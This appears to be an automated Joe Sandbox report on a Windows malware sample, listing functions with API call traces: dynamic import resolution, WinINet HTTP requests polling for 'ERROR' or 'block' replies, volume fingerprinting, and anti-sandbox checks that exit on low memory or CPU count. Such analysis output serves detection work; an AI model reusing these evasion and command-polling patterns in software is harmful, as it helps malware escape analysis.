Opcode ID: 99d350906a341d19758e8d3dd4c5cc2cf0a413204e18b3aaa5144949364209a6
Instruction ID: bff03a5a25dbb242046f8e00f15d1cf58283692ae8ddae3c7530e143c20c6835
Opcode Fuzzy Hash: 99d350906a341d19758e8d3dd4c5cc2cf0a413204e18b3aaa5144949364209a6
Instruction Fuzzy Hash: 89F04FB1944208ABC714DF98DD49FAEFBB8EB04B11F10066AFA05A2680C77815058BA1

Function 009E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 009E116A
ExitProcess.KERNEL32 ref: 009E117E

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c0a0cdc068416041e043b73d888c82198321f1e17b491d90ced5fad3d0a10977
Instruction ID: 357cf1eb6874b1e7e2367cf6b836ae905b301dfd2fbf5755ea3ba40ba410a605
Opcode Fuzzy Hash: c0a0cdc068416041e043b73d888c82198321f1e17b491d90ced5fad3d0a10977
Instruction Fuzzy Hash: C4D05E7490430CDBCB10DFE0DC497EDBB78FB0C711F000555D90562740EA305882CAAA

Function 009F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013A64C0), ref: 009F9C2D
GetProcAddress.KERNEL32(75900000,013A6640), ref: 009F9C45
GetProcAddress.KERNEL32(75900000,013B8F10), ref: 009F9C5E
GetProcAddress.KERNEL32(75900000,013B8FB8), ref: 009F9C76
GetProcAddress.KERNEL32(75900000,013BCB80), ref: 009F9C8E
GetProcAddress.KERNEL32(75900000,013BCCE8), ref: 009F9CA7
GetProcAddress.KERNEL32(75900000,013AB2E8), ref: 009F9CBF
GetProcAddress.KERNEL32(75900000,013BCB08), ref: 009F9CD7
GetProcAddress.KERNEL32(75900000,013BCD90), ref: 009F9CF0
GetProcAddress.KERNEL32(75900000,013BCDC0), ref: 009F9D08
GetProcAddress.KERNEL32(75900000,013BCDA8), ref: 009F9D20
GetProcAddress.KERNEL32(75900000,013A63C0), ref: 009F9D39
GetProcAddress.KERNEL32(75900000,013A63E0), ref: 009F9D51
GetProcAddress.KERNEL32(75900000,013A6480), ref: 009F9D69
GetProcAddress.KERNEL32(75900000,013A64A0), ref: 009F9D82
GetProcAddress.KERNEL32(75900000,013BCBB0), ref: 009F9D9A
GetProcAddress.KERNEL32(75900000,013BCB98), ref: 009F9DB2
GetProcAddress.KERNEL32(75900000,013AB130), ref: 009F9DCB
GetProcAddress.KERNEL32(75900000,013A6520), ref: 009F9DE3
GetProcAddress.KERNEL32(75900000,013BCB20), ref: 009F9DFB
GetProcAddress.KERNEL32(75900000,013BCD18), ref: 009F9E14
GetProcAddress.KERNEL32(75900000,013BCC40), ref: 009F9E2C
GetProcAddress.KERNEL32(75900000,013BCC70), ref: 009F9E44
GetProcAddress.KERNEL32(75900000,013A6560), ref: 009F9E5D
GetProcAddress.KERNEL32(75900000,013BCBE0), ref: 009F9E75
GetProcAddress.KERNEL32(75900000,013BCBF8), ref: 009F9E8D
GetProcAddress.KERNEL32(75900000,013BCB38), ref: 009F9EA6
GetProcAddress.KERNEL32(75900000,013BCDD8), ref: 009F9EBE
GetProcAddress.KERNEL32(75900000,013BCD00), ref: 009F9ED6
GetProcAddress.KERNEL32(75900000,013BCD30), ref: 009F9EEF
GetProcAddress.KERNEL32(75900000,013BCD48), ref: 009F9F07
GetProcAddress.KERNEL32(75900000,013BCD60), ref: 009F9F1F
GetProcAddress.KERNEL32(75900000,013BCD78), ref: 009F9F38
GetProcAddress.KERNEL32(75900000,013B99D8), ref: 009F9F50
GetProcAddress.KERNEL32(75900000,013BCC88), ref: 009F9F68
GetProcAddress.KERNEL32(75900000,013BCBC8), ref: 009F9F81
GetProcAddress.KERNEL32(75900000,013A6580), ref: 009F9F99
GetProcAddress.KERNEL32(75900000,013BCC10), ref: 009F9FB1
GetProcAddress.KERNEL32(75900000,013A65A0), ref: 009F9FCA
GetProcAddress.KERNEL32(75900000,013BCAF0), ref: 009F9FE2
GetProcAddress.KERNEL32(75900000,013BCB50), ref: 009F9FFA
GetProcAddress.KERNEL32(75900000,013A65C0), ref: 009FA013
GetProcAddress.KERNEL32(75900000,013A6660), ref: 009FA02B
LoadLibraryA.KERNEL32(013BCCB8,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA03D
LoadLibraryA.KERNEL32(013BCB68,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA04E
LoadLibraryA.KERNEL32(013BCC28,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA060
LoadLibraryA.KERNEL32(013BCC58,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA072
LoadLibraryA.KERNEL32(013BCCA0,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA083
LoadLibraryA.KERNEL32(013BCCD0,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA095
LoadLibraryA.KERNEL32(013BCE98,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA0A7
LoadLibraryA.KERNEL32(013BCE50,?,009F5CA3,00A00AEB,?,?,?,?,?,?,?,?,?,?,00A00AEA,00A00AE3), ref: 009FA0B8
GetProcAddress.KERNEL32(75FD0000,013A66A0), ref: 009FA0DA
GetProcAddress.KERNEL32(75FD0000,013BCE80), ref: 009FA0F2
GetProcAddress.KERNEL32(75FD0000,013B89A0), ref: 009FA10A
GetProcAddress.KERNEL32(75FD0000,013BCEF8), ref: 009FA123
GetProcAddress.KERNEL32(75FD0000,013A67E0), ref: 009FA13B
GetProcAddress.KERNEL32(734B0000,013AB158), ref: 009FA160
GetProcAddress.KERNEL32(734B0000,013A6940), ref: 009FA179
GetProcAddress.KERNEL32(734B0000,013AB180), ref: 009FA191
GetProcAddress.KERNEL32(734B0000,013BCE08), ref: 009FA1A9
GetProcAddress.KERNEL32(734B0000,013BCF70), ref: 009FA1C2
GetProcAddress.KERNEL32(734B0000,013A6820), ref: 009FA1DA
GetProcAddress.KERNEL32(734B0000,013A67C0), ref: 009FA1F2
GetProcAddress.KERNEL32(734B0000,013BCF10), ref: 009FA20B
GetProcAddress.KERNEL32(763B0000,013A69C0), ref: 009FA22C
GetProcAddress.KERNEL32(763B0000,013A6960), ref: 009FA244
GetProcAddress.KERNEL32(763B0000,013BCE20), ref: 009FA25D
GetProcAddress.KERNEL32(763B0000,013BCE38), ref: 009FA275
GetProcAddress.KERNEL32(763B0000,013A67A0), ref: 009FA28D
GetProcAddress.KERNEL32(750F0000,013AAF28), ref: 009FA2B3
GetProcAddress.KERNEL32(750F0000,013AAF50), ref: 009FA2CB
GetProcAddress.KERNEL32(750F0000,013BCF88), ref: 009FA2E3
GetProcAddress.KERNEL32(750F0000,013A69A0), ref: 009FA2FC
GetProcAddress.KERNEL32(750F0000,013A6760), ref: 009FA314
GetProcAddress.KERNEL32(750F0000,013AAF78), ref: 009FA32C
GetProcAddress.KERNEL32(75A50000,013BCEB0), ref: 009FA352
GetProcAddress.KERNEL32(75A50000,013A66E0), ref: 009FA36A
GetProcAddress.KERNEL32(75A50000,013B89C0), ref: 009FA382
GetProcAddress.KERNEL32(75A50000,013BCEC8), ref: 009FA39B
GetProcAddress.KERNEL32(75A50000,013BCF28), ref: 009FA3B3
GetProcAddress.KERNEL32(75A50000,013A66C0), ref: 009FA3CB
GetProcAddress.KERNEL32(75A50000,013A6980), ref: 009FA3E4
GetProcAddress.KERNEL32(75A50000,013BCEE0), ref: 009FA3FC
GetProcAddress.KERNEL32(75A50000,013BCF58), ref: 009FA414
GetProcAddress.KERNEL32(75070000,013A6740), ref: 009FA436
GetProcAddress.KERNEL32(75070000,013BCFA0), ref: 009FA44E
GetProcAddress.KERNEL32(75070000,013BCF40), ref: 009FA466
GetProcAddress.KERNEL32(75070000,013BCDF0), ref: 009FA47F
GetProcAddress.KERNEL32(75070000,013BCE68), ref: 009FA497
GetProcAddress.KERNEL32(74E50000,013A6800), ref: 009FA4B8
GetProcAddress.KERNEL32(74E50000,013A69E0), ref: 009FA4D1
GetProcAddress.KERNEL32(75320000,013A6700), ref: 009FA4F2
GetProcAddress.KERNEL32(75320000,013BC838), ref: 009FA50A
GetProcAddress.KERNEL32(6F270000,013A6840), ref: 009FA530
GetProcAddress.KERNEL32(6F270000,013A68E0), ref: 009FA548
GetProcAddress.KERNEL32(6F270000,013A6A00), ref: 009FA560
GetProcAddress.KERNEL32(6F270000,013BC898), ref: 009FA579
GetProcAddress.KERNEL32(6F270000,013A6680), ref: 009FA591
GetProcAddress.KERNEL32(6F270000,013A6900), ref: 009FA5A9
GetProcAddress.KERNEL32(6F270000,013A6860), ref: 009FA5C2
GetProcAddress.KERNEL32(6F270000,013A6A20), ref: 009FA5DA
GetProcAddress.KERNEL32(6F270000,InternetSetOptionA), ref: 009FA5F1
GetProcAddress.KERNEL32(6F270000,HttpQueryInfoA), ref: 009FA607
GetProcAddress.KERNEL32(74E00000,013BC850), ref: 009FA629
GetProcAddress.KERNEL32(74E00000,013B8950), ref: 009FA641
GetProcAddress.KERNEL32(74E00000,013BC8E0), ref: 009FA659
GetProcAddress.KERNEL32(74E00000,013BC988), ref: 009FA672
GetProcAddress.KERNEL32(74DF0000,013A6720), ref: 009FA693
GetProcAddress.KERNEL32(6F9C0000,013BC8F8), ref: 009FA6B4
GetProcAddress.KERNEL32(6F9C0000,013A6880), ref: 009FA6CD
GetProcAddress.KERNEL32(6F9C0000,013BCA30), ref: 009FA6E5
GetProcAddress.KERNEL32(6F9C0000,013BC9E8), ref: 009FA6FD

Strings

HttpQueryInfoA, xrefs: 009FA5FC
InternetSetOptionA, xrefs: 009FA5E5

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 5ea91ec6fe6f232418377559b1231c16e090cc97b5e009200987f8770497040b
Instruction ID: 678c28b700bdc4e17f9f938da783d8f63fddecf48a9e823061a75201b277c021
Opcode Fuzzy Hash: 5ea91ec6fe6f232418377559b1231c16e090cc97b5e009200987f8770497040b
Instruction Fuzzy Hash: 32621DB5520200AFC364DFA9EE88B6E37F9F74CB01714852AE609C3A74D7399443DB5A

Function 009E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009E4839
Part of subcall function 009E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009E4849

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

InternetOpenA.WININET(00A00DFE,00000001,00000000,00000000,00000000), ref: 009E62E1
StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009E6335
HttpOpenRequestA.WININET(00000000,GET,?,013BDC98,00000000,00000000,00400100,00000000), ref: 009E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009E646D
InternetCloseHandle.WININET(00000000), ref: 009E64EF
InternetCloseHandle.WININET(00000000), ref: 009E64F9
InternetCloseHandle.WININET(00000000), ref: 009E6503

Strings

GET, xrefs: 009E637C
ERROR, xrefs: 009E64C9
ERROR, xrefs: 009E6407

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 6738764e9220ff66569fd5fadbd3e8d869510f36ad84b6af6c03762b8995d9ca
Instruction ID: 91d0916dab8dbb82b43cfc4b3b43324a31129a035219ec9f13ae187e728096da
Opcode Fuzzy Hash: 6738764e9220ff66569fd5fadbd3e8d869510f36ad84b6af6c03762b8995d9ca
Instruction Fuzzy Hash: 98716AB1A00218EBDB24EBA0DC49FEE7778BB44740F108198F20A6B5D0DBB46E85CF51

Function 009F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009FA820: lstrlen.KERNEL32(009E4F05,?,?,009E4F05,00A00DDE), ref: 009FA82B
Part of subcall function 009FA820: lstrcpy.KERNEL32(00A00DDE,00000000), ref: 009FA885

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009F5857

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009F5228

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009F5318
Part of subcall function 009F52C0: lstrlen.KERNEL32(00000000), ref: 009F532F
Part of subcall function 009F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 009F5364
Part of subcall function 009F52C0: lstrlen.KERNEL32(00000000), ref: 009F5383
Part of subcall function 009F52C0: lstrlen.KERNEL32(00000000), ref: 009F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009F5A0C
Sleep.KERNEL32(0000EA60), ref: 009F5A1B

Strings

ERROR, xrefs: 009F5849
ERROR, xrefs: 009F5693
ERROR, xrefs: 009F5932
ERROR, xrefs: 009F59FE
ERROR, xrefs: 009F577D
ERROR, xrefs: 009F5636

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 9aecec9ec92a63d53ec67bb8c78045c5ed498538714532fc0a2155fc1eadcd61
Instruction ID: 1793064ac08371918f9ec5f491348bfdb9f55309b19248cd61f462aad80bb31b
Opcode Fuzzy Hash: 9aecec9ec92a63d53ec67bb8c78045c5ed498538714532fc0a2155fc1eadcd61
Instruction Fuzzy Hash: 1FE11FB191010CABCB14FBA0DC56FFD737CAF94340F508528B60A66595EF74AE0ACB92

Function 009F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 009F17C5
ExitProcess.KERNEL32 ref: 009F17D1

Strings

block, xrefs: 009F17B7

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: f294d5e7953545263d91f63749cc2605c4dda2308adf2fa680a2a066a133a7d4
Instruction ID: b19c6192273763d6f89f23733870a63bde05b277c9aaee016ce4bffc8d968caa
Opcode Fuzzy Hash: f294d5e7953545263d91f63749cc2605c4dda2308adf2fa680a2a066a133a7d4
Instruction Fuzzy Hash: 8F5150B4A1420DEFCB04DFA0E994BBE77B5BF44704F104449E605A7380D7B5E992DBA2

Function 009F7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 009F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7603
RtlAllocateHeap.NTDLL(00000000), ref: 009F760A
wsprintfA.USER32 ref: 009F7640

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Strings

\, xrefs: 009F7560
:, xrefs: 009F755C
C, xrefs: 009F754C

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: c6ef856b0e9e7a72246a9ade730e39dc41168ad15550aa4a375156bf7e9e07da
Instruction ID: d7da9e45cf139f71ce956e81fd9c20d5bcf7d69e18a503d4bdc578dd4b9cf035
Opcode Fuzzy Hash: c6ef856b0e9e7a72246a9ade730e39dc41168ad15550aa4a375156bf7e9e07da
Instruction Fuzzy Hash: E14193B1D1424CABDF10DF94DC45BEEBBB8EF48704F100199F609A7280DB786A45CBA5

Function 009F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0768), ref: 009F98A1
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0798), ref: 009F98BA
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B07C8), ref: 009F98D2
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B07E0), ref: 009F98EA
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0648), ref: 009F9903
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B8870), ref: 009F991B
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013A6400), ref: 009F9933
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013A6380), ref: 009F994C
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B06C0), ref: 009F9964
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0780), ref: 009F997C
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0708), ref: 009F9995
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B07B0), ref: 009F99AD
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013A65E0), ref: 009F99C5
Part of subcall function 009F9860: GetProcAddress.KERNEL32(75900000,013B0738), ref: 009F99DE

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009E11D0: ExitProcess.KERNEL32 ref: 009E1211

Part of subcall function 009E1160: GetSystemInfo.KERNEL32(?), ref: 009E116A
Part of subcall function 009E1160: ExitProcess.KERNEL32 ref: 009E117E

Part of subcall function 009E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009E112B
Part of subcall function 009E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 009E1132
Part of subcall function 009E1110: ExitProcess.KERNEL32 ref: 009E1143

Part of subcall function 009E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009E123E
Part of subcall function 009E1220: __aulldiv.LIBCMT ref: 009E1258
Part of subcall function 009E1220: __aulldiv.LIBCMT ref: 009E1266
Part of subcall function 009E1220: ExitProcess.KERNEL32 ref: 009E1294

